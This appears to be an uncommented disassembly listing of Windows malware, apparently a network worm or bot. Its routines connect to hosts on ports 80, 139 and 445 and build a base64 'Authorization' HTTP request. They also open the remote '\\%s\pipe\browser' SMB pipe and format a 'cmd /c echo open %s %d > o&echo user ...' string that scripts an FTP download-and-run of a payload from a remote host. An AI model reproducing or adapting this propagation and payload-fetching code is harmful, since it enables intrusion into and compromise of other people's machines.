mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_431D18
push [ebp+arg_0]
call near ptr 71AB1AF4h
nop
cmp eax, 48h
jnz short loc_40D019
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE40
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D019
cmp [ebp+var_20], 82h
jz short loc_40D01D
loc_40D019: ; CODE XREF: sub_40CFDE+1Bj
; sub_40CFDE+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D01D: ; CODE XREF: sub_40CFDE+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF04
add esp, 0Ch
leave
retn
sub_40CFDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427690
call sub_41C798
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427688
fstp [esp+10h+var_10]
call sub_41C679
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C798
inc eax
leave
retn
sub_40D030 endp
; =============== S U B R O U T I N E =======================================
sub_40D07C proc near ; CODE XREF: sub_40D21E+24p
var_40 = qword ptr -40h
mov eax, offset loc_426DF7
call sub_41CC64
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D6B3
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D030
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D0BE
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D62E
loc_40D0BE: ; CODE XREF: sub_40D07C+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D1DB
mov ebx, [ebp+10h]
loc_40D0CD: ; CODE XREF: sub_40D07C+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D7
push 3
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0D7: ; CODE XREF: sub_40D07C+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E1
push 2
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EA
push 1
loc_40D0E9: ; CODE XREF: sub_40D07C+59j
; sub_40D07C+63j
pop ebx
loc_40D0EA: ; CODE XREF: sub_40D07C+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_4276A0
fstp [esp+40h+var_40]
call sub_41C7BF
pop ecx
pop ecx
call sub_41C798
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D129
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D129: ; CODE XREF: sub_40D07C+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D197
add [ebp-18h], eax
loc_40D17B: ; CODE XREF: sub_40D07C+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_431D64[eax]
push eax
push 1
call sub_40D4B0
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D17B
loc_40D197: ; CODE XREF: sub_40D07C+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D1B5
push dword ptr [ebp+14h]
call sub_41AFE0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D509
mov [ebp-18h], edi
loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D1CF
sub esi, [ebp-1Ch]
loc_40D1C0: ; CODE XREF: sub_40D07C+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D4B0
dec esi
jnz short loc_40D1C0
loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj
cmp [ebp+10h], edi
ja loc_40D0CD
push 1
pop ebx
loc_40D1DB: ; CODE XREF: sub_40D07C+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D6B3
push dword_427698
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D560
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07C endp
; =============== S U B R O U T I N E =======================================
sub_40D21E proc near ; CODE XREF: ___:0040D41Bp
mov eax, offset loc_426E14
call sub_41CC64
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43D128
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D07C
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B4D5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D268
xor bl, bl
jmp short loc_40D2AC
; ---------------------------------------------------------------------------
loc_40D268: ; CODE XREF: sub_40D21E+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A8
cmp ecx, ebx
jnz short loc_40D276
mov ecx, eax
loc_40D276: ; CODE XREF: sub_40D21E+54j
cmp [ebp+18h], ebx
jz short loc_40D27E
mov eax, [ebp+18h]
loc_40D27E: ; CODE XREF: sub_40D21E+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B980
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, esi
jz short loc_40D2A3
xor bl, bl
jmp short loc_40D2A5
; ---------------------------------------------------------------------------
loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj
mov bl, 1
loc_40D2A5: ; CODE XREF: sub_40D21E+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AC: ; CODE XREF: sub_40D21E+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D6B3
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_431F10
push eax
call sub_41C310
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CACB0
push eax
push dword ptr [ebp+8]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41B980
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_431DA8
push eax
call sub_40CADA
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D377
xor eax, eax
jmp loc_40D4A3
; ---------------------------------------------------------------------------
loc_40D377: ; CODE XREF: ___:0040D36Ej
mov [ebp-0Ch], esi
loc_40D37A: ; CODE XREF: ___:0040D47Aj
test esi, esi
jnz loc_40D480
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D468
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CAF74
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CAFB4
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_40D45D
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D425
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D6B3
lea eax, [ebp+0Ch]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D6EF
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21E
add esp, 1Ch
jmp short loc_40D45A
; ---------------------------------------------------------------------------
loc_40D425: ; CODE XREF: ___:0040D3E3j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D43F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDE
jmp short loc_40D457
; ---------------------------------------------------------------------------
loc_40D43F: ; CODE XREF: ___:0040D42Fj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF04
loc_40D457: ; CODE XREF: ___:0040D43Dj
add esp, 0Ch
loc_40D45A: ; CODE XREF: ___:0040D423j
movzx esi, al
loc_40D45D: ; CODE XREF: ___:0040D3D6j
; ___:0040D449j
push ebx
call dword_4CB00C
test esi, esi
jnz short loc_40D473
loc_40D468: ; CODE XREF: ___:0040D393j
push 3E8h
nop
call near ptr 26703BBh
loc_40D473: ; CODE XREF: ___:0040D466j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37A
loc_40D480: ; CODE XREF: ___:0040D37Cj
lea ecx, [ebp-8]
call sub_40C8FF
test esi, esi
jz short loc_40D4A1
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431410[eax]
lea eax, dword_431410[eax]
loc_40D4A1: ; CODE XREF: ___:0040D48Aj
mov eax, esi
loc_40D4A3: ; CODE XREF: ___:0040D372j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A8: ; CODE XREF: sub_426DD8+3j
; ___:00426DF1j ...
push 1
call sub_40D6B3
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; =============== S U B R O U T I N E =======================================
sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p
; sub_40D07C+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CA
call sub_42669A
loc_40D4CA: ; CODE XREF: sub_40D4B0+13j
test ebx, ebx
jbe short loc_40D501
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D501
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D501: ; CODE XREF: sub_40D4B0+1Cj
; sub_40D4B0+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D509 proc near ; CODE XREF: sub_40D07C+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D523
call sub_42669A
loc_40D523: ; CODE XREF: sub_40D509+13j
test ebx, ebx
jbe short loc_40D558
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D558
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D558: ; CODE XREF: sub_40D509+1Cj
; sub_40D509+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D509 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp
; sub_4265B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D578
call sub_426573
loc_40D578: ; CODE XREF: sub_40D560+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D58A
mov esi, [ebp+arg_8]
loc_40D58A: ; CODE XREF: sub_40D560+25j
cmp edi, ebx
jnz short loc_40D5AC
push dword_427698
add esi, ecx
mov ecx, edi
push esi
call sub_40D724
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D724
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5AC: ; CODE XREF: sub_40D560+2Cj
test esi, esi
jbe short loc_40D5EF
cmp esi, eax
jnz short loc_40D5EF
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5C0
mov eax, offset dword_4276A8
loc_40D5C0: ; CODE XREF: sub_40D560+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D5EF
push 1
mov ecx, edi
call sub_40D6B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5DB
mov eax, offset dword_4276A8
loc_40D5DB: ; CODE XREF: sub_40D560+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5EF: ; CODE XREF: sub_40D560+4Ej
; sub_40D560+52j ...
push 1
push esi
mov ecx, edi
call sub_40D62E
test al, al
jz short loc_40D625
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D609
mov eax, offset dword_4276A8
loc_40D609: ; CODE XREF: sub_40D560+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C310
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D625: ; CODE XREF: sub_40D560+4Aj
; sub_40D560+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D560 endp
; =============== S U B R O U T I N E =======================================
sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp
; sub_40D4B0+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D640
call sub_42669A
loc_40D640: ; CODE XREF: sub_40D62E+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D669
mov al, [ecx-1]
cmp al, dl
jz short loc_40D669
cmp al, 0FFh
jz short loc_40D669
cmp edi, edx
jnz short loc_40D6A4
dec al
push edx
mov [ecx-1], al
loc_40D65E: ; CODE XREF: sub_40D62E+47j
mov ecx, esi
call sub_40D6B3
loc_40D665: ; CODE XREF: sub_40D62E+4Bj
; sub_40D62E+52j
xor al, al
jmp short loc_40D6AE
; ---------------------------------------------------------------------------
loc_40D669: ; CODE XREF: sub_40D62E+19j
; sub_40D62E+20j ...
cmp edi, edx
jnz short loc_40D682
cmp [esp+8+arg_4], dl
jz short loc_40D677
push 1
jmp short loc_40D65E
; ---------------------------------------------------------------------------
loc_40D677: ; CODE XREF: sub_40D62E+43j
cmp ecx, edx
jz short loc_40D665
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D665
; ---------------------------------------------------------------------------
loc_40D682: ; CODE XREF: sub_40D62E+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D69F
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D694
cmp eax, edi
jnb short loc_40D6AC
loc_40D694: ; CODE XREF: sub_40D62E+60j
push 1
mov ecx, esi
call sub_40D6B3
jmp short loc_40D6A4
; ---------------------------------------------------------------------------
loc_40D69F: ; CODE XREF: sub_40D62E+58j
cmp [esi+0Ch], edi
jnb short loc_40D6AC
loc_40D6A4: ; CODE XREF: sub_40D62E+28j
; sub_40D62E+6Fj
push edi
mov ecx, esi
call sub_40D78B
loc_40D6AC: ; CODE XREF: sub_40D62E+64j
; sub_40D62E+74j
mov al, 1
loc_40D6AE: ; CODE XREF: sub_40D62E+39j
pop edi
pop esi
retn 8
sub_40D62E endp
; =============== S U B R O U T I N E =======================================
sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp
; sub_40D07C+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D6DF
mov eax, [esi+4]
test eax, eax
jz short loc_40D6DF
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D6D8
cmp al, 0FFh
jz short loc_40D6D8
dec al
mov [ecx], al
jmp short loc_40D6DF
; ---------------------------------------------------------------------------
loc_40D6D8: ; CODE XREF: sub_40D6B3+19j
; sub_40D6B3+1Dj
push ecx
call sub_41CC83
pop ecx
loc_40D6DF: ; CODE XREF: sub_40D6B3+8j
; sub_40D6B3+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D6B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp
; sub_40D848+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D62E
test al, al
jz short loc_40D71D
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D71D: ; CODE XREF: sub_40D6EF+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D6EF endp
; =============== S U B R O U T I N E =======================================
sub_40D724 proc near ; CODE XREF: sub_40D560+39p
; sub_40D560+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D737
call sub_426573
loc_40D737: ; CODE XREF: sub_40D724+Cj
mov ecx, edi
call sub_40D848
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D74D
mov ebx, eax
loc_40D74D: ; CODE XREF: sub_40D724+25j
test ebx, ebx
jbe short loc_40D783
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CC90
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D62E
test al, al
jz short loc_40D783
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D783: ; CODE XREF: sub_40D724+2Bj
; sub_40D724+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D724 endp
; =============== S U B R O U T I N E =======================================
sub_40D78B proc near ; CODE XREF: sub_40D62E+79p
mov eax, offset loc_426E20
call sub_41CC64
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D7B1
mov edi, [ebp+8]
loc_40D7B1: ; CODE XREF: sub_40D78B+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D7BE
xor eax, eax
loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj
push eax
call sub_41CFC5
pop ecx
mov [ebp+8], eax
jmp short loc_40D7EF
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D7D9
xor eax, eax
loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj
push eax
call sub_41CFC5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D7E9
retn
; ---------------------------------------------------------------------------
loc_40D7E9: ; DATA XREF: sub_40D78B+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D80D
cmp eax, edi
jbe short loc_40D7FC
mov eax, edi
loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C310
add esp, 0Ch
loc_40D80D: ; CODE XREF: sub_40D78B+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D6B3
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D82D
mov edi, ebx
loc_40D82D: ; CODE XREF: sub_40D78B+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D78B endp
; =============== S U B R O U T I N E =======================================
sub_40D848 proc near ; CODE XREF: sub_40D724+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D875
mov al, [esi-1]
test al, al
jz short loc_40D875
cmp al, 0FFh
jz short loc_40D875
push 1
call sub_40D6B3
push esi
call sub_41AFE0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D6EF
loc_40D875: ; CODE XREF: sub_40D848+9j
; sub_40D848+10j ...
pop edi
pop esi
retn
sub_40D848 endp
; =============== S U B R O U T I N E =======================================
sub_40D878 proc near ; DATA XREF: ___:00429008o
test byte_4DB594, 1
jnz short loc_40D888
or byte_4DB594, 1
loc_40D888: ; CODE XREF: sub_40D878+7j
jmp $+5
push offset nullsub_1
call sub_41D040
pop ecx
retn
sub_40D878 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89A proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40D89A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D89F proc near
mov eax, dword_4321C8
add eax, 6
mov dword_4CDC94, eax
retn
sub_40D89F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p
; ___:0040DE0Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C1
or [ebp+arg_7], 1
jmp short loc_40D8C5
; ---------------------------------------------------------------------------
loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj
and [ebp+arg_7], 0FEh
loc_40D8C5: ; CODE XREF: sub_40D8AD+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8E9
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FB
; ---------------------------------------------------------------------------
loc_40D8E9: ; CODE XREF: sub_40D8AD+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B4D5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D994
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 26E0000h
test eax, eax
jz short loc_40D98B
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98B
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D987
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D8AD
add esp, 2Ch
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D987: ; CODE XREF: sub_40D8AD+B3j
mov al, 1
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj
; sub_40D8AD+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D994: ; CODE XREF: sub_40D8AD+61j
xor al, al
loc_40D996: ; CODE XREF: sub_40D8AD+D8j
; sub_40D8AD+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AD endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ▀
db 0ECh ; Л
db 0B8h ; ╦
db 0DCh ; э
db 60h ; `
db 0
db 0
db 0E8h ; Х
db 78h ; x
db 0E1h ; А
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 0BCh ; ╪
db 0D4h ; т
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; Х
db 0A8h ; ╗
db 0F7h ; В
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; ш
db 85h ; ┘
db 0C0h ; ю
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ╬
db 0
db 20h
db 0
db 0
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0DFh ; ъ
db 0FFh
db 0FFh
db 68h ; h
db 44h ; D
db 22h ; "
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; Х
db 0A6h ; ╕
db 0DFh ; ъ
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; Х
db 0A7h ; ╖
db 0DBh ; ш
db 0
db 0
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0DFh ; ъ
db 0FFh
db 0FFh
db 83h ; ┐
db 0C4h ; д
db 1Ch
db 89h ; ┴
db 85h ; ┘
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ╦
db 28h ; (
db 0D1h ; я
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ; █
db 85h ; ┘
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; Х
db 44h ; D
db 8Dh ; █
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40DA13
; ---------------------------------------------------------------------------
db 0BEh ; ╬
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40DA13: ; CODE XREF: ___:0040DA0Cj
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
nop
call near ptr 26F07E8h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DA57
loc_40DA50: ; CODE XREF: ___:0040DB2Fj
; ___:0040DD05j ...
xor al, al
jmp loc_40DE9B
; ---------------------------------------------------------------------------
loc_40DA57: ; CODE XREF: ___:0040DA4Ej
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41B590
push 10h
